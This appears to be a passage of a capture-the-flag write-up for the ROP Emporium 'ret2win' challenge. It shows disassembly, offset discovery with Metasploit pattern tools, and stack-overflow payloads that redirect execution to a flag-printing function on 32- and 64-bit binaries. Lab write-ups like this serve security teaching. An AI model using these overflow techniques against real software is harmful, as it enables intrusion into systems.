Interesting ones that pop out are main, pwnme, and ret2win. Lets go ahead and disassemble these and see what are we working with.
pwnme.disassembly
pwndbg> disassemble pwnme Dump of assembler code for function pwnme:0x080485f6<+0>: push ebp0x080485f7<+1>: mov ebp,esp0x080485f9<+3>: sub esp,0x280x080485fc<+6>: sub esp,0x40x080485ff<+9>: push 0x200x08048601<+11>: push 0x00x08048603<+13>: lea eax,[ebp-0x28]0x08048606<+16>: push eax0x08048607<+17>: call 0x8048460<memset@plt>0x0804860c<+22>: add esp,0x100x0804860f<+25>: sub esp,0xc0x08048612<+28>: push 0x804873c0x08048617<+33>: call 0x8048420<puts@plt>0x0804861c<+38>: add esp,0x100x0804861f<+41>: sub esp,0xc0x08048622<+44>: push 0x80487bc0x08048627<+49>: call 0x8048420<puts@plt>0x0804862c<+54>: add esp,0x100x0804862f<+57>: sub esp,0xc0x08048632<+60>: push 0x80488210x08048637<+65>: call 0x8048400<printf@plt>0x0804863c<+70>: add esp,0x100x0804863f<+73>: mov eax,ds:0x804a0600x08048644<+78>: sub esp,0x40x08048647<+81>: push eax0x08048648<+82>: push 0x32->Size of fgets input0x0804864a<+84>: lea eax,[ebp-0x28]0x0804864d<+87>: push eax -> Address being loaded to0x0804864e<+88>: call 0x8048410<fgets@plt>0x08048653<+93>: add esp,0x100x08048656<+96>: nop0x08048657<+97>: leave 0x08048658<+98>: ret End of assembler dump.
So we have a fgets which takes 50 bytes of input and tries to store the string into a 32 bytes buffer as described by the challenge text.
$./ret2win32ret2winbyROPEmporium32bitsFormyfirsttrick,Iwillattempttofit50bytesofuserinputinto32bytesofstackbuffer;Whatcouldpossiblygowrong?Youtheremadam,mayIhaveyourinputplease?Anddon't worry about null bytes, we'reusingfgets!>
ret2win.disassembly
pwndbg> disassemble ret2win Dump of assembler code for function ret2win:0x08048659<+0>: push ebp0x0804865a<+1>: mov ebp,esp0x0804865c<+3>: sub esp,0x80x0804865f<+6>: sub esp,0xc0x08048662<+9>: push 0x80488240x08048667<+14>: call 0x8048400<printf@plt>0x0804866c<+19>: add esp,0x100x0804866f<+22>: sub esp,0xc0x08048672<+25>: push 0x8048841 ## Prints flag to the screen0x08048677<+30>: call 0x8048430<system@plt>0x0804867c<+35>: add esp,0x100x0804867f<+38>: nop0x08048680<+39>: leave 0x08048681<+40>: ret End of assembler dump.pwndbg>
So now our task is to use the overflowed buffer to call the ret2win function and get the flag.
Now we'll try and find the offset which will give us the precise control of the EIP register.
$msf-pattern_create-l100>pattern.string; catpattern.string|./ret2win32ret2winbyROPEmporium32bitsFormyfirsttrick,Iwillattempttofit50bytesofuserinputinto32bytesofstackbuffer;Whatcouldpossiblygowrong?Youtheremadam,mayIhaveyourinputplease?Anddon't worry about null bytes, we'reusingfgets!>Segmentationfault
So now we have a segmentation fault, and we can check the failed EIP using dmesg logs and find the offset value.
$sudodmesg|tail-2[ 3369.503758] ret2win32[8889]: segfault at 35624134 ip 0000000035624134 sp 00000000ffdd6570 error 14 in libc-2.29.so[f7d14000+1d000][ 3369.503766] Code: Bad RIP value.# Our bad EIP value is 35624134$msf-pattern_offset-q0x35624134[*] Exact match at offset 44# Let's confirm our control of IP$python-c'print "A"*44 + "B"*4'|./ret2win32ret2winbyROPEmporium32bitsFormyfirsttrick,Iwillattempttofit50bytesofuserinputinto32bytesofstackbuffer; Whatcouldpossiblygowrong?Youtheremadam,mayIhaveyourinputplease?Anddon't worry about null bytes, we'reusingfgets!>Segmentationfault$sudodmesg|tail-2[ 3573.424132] ret2win32[8937]: segfault at 42424242 ip 0000000042424242 sp 00000000ff9f67b0 error 14 in libc-2.29.so[f7d86000+1d000][ 3573.424144] Code: Bad RIP value.
Now we have the desired control of EIP. Now we'll check the address of the function to jump to, to get our precious flag.
Now we can construct our exploit and point our EIP to this address to get the flag.
$python-c'import struct; print "A"*44 + struct.pack("<I", int("0x08048659", 16))'>exploit.payload; catexploit.payload|./ret2win32ret2winbyROPEmporium32bitsFormyfirsttrick,Iwillattempttofit50bytesofuserinputinto32bytesofstackbuffer;Whatcouldpossiblygowrong?Youtheremadam,mayIhaveyourinputplease?Anddon't worry about null bytes, we'reusingfgets!>Thankyou!Here's your flag:ROPE{a_placeholder_32byte_flag!}Segmentation fault
64 bit
The functions and their functionality remains the same throughout the binaries so we'll jump right to finding the offset to control our RIP.
$msf-pattern_create-l100>pattern.string
We can not use the same trick of checking the dmesg for messed up EIP as in case of 64 binaries the result is at RSP and its value is not visible in dmesg.
So value of our RSP is 0x3562413462413362 and the offset value is
$msf-pattern_offset-q0x3562413462413362[*] Exact match at offset 40
So let's confirm our RIP control.
$python-c'print "A"*40 + "B"*8'>trial.payload
So now we have our control and we can now find the address of the desired function and point the RIP to that address and get our flag.
As you can see, there are plenty of NULL bytes which should break our exploit, but they won't as we are using fgets, which only terminates input when it gets a newline or an EOF. So NULL bytes are no problems in this case. Lets construct our final payload and get the flag.
$python-c'from pwn import *; print "A"*40 + p64(0x400811)'>exploit.payload$catexploit.payload|./ret2winret2winbyROPEmporium64bitsFormyfirsttrick,Iwillattempttofit50bytesofuserinputinto32bytesofstackbuffer;Whatcouldpossiblygowrong?Youtheremadam,mayIhaveyourinputplease?Anddon't worry about null bytes, we'reusingfgets!>Thankyou!Here's your flag:ROPE{a_placeholder_32byte_flag!}Segmentation fault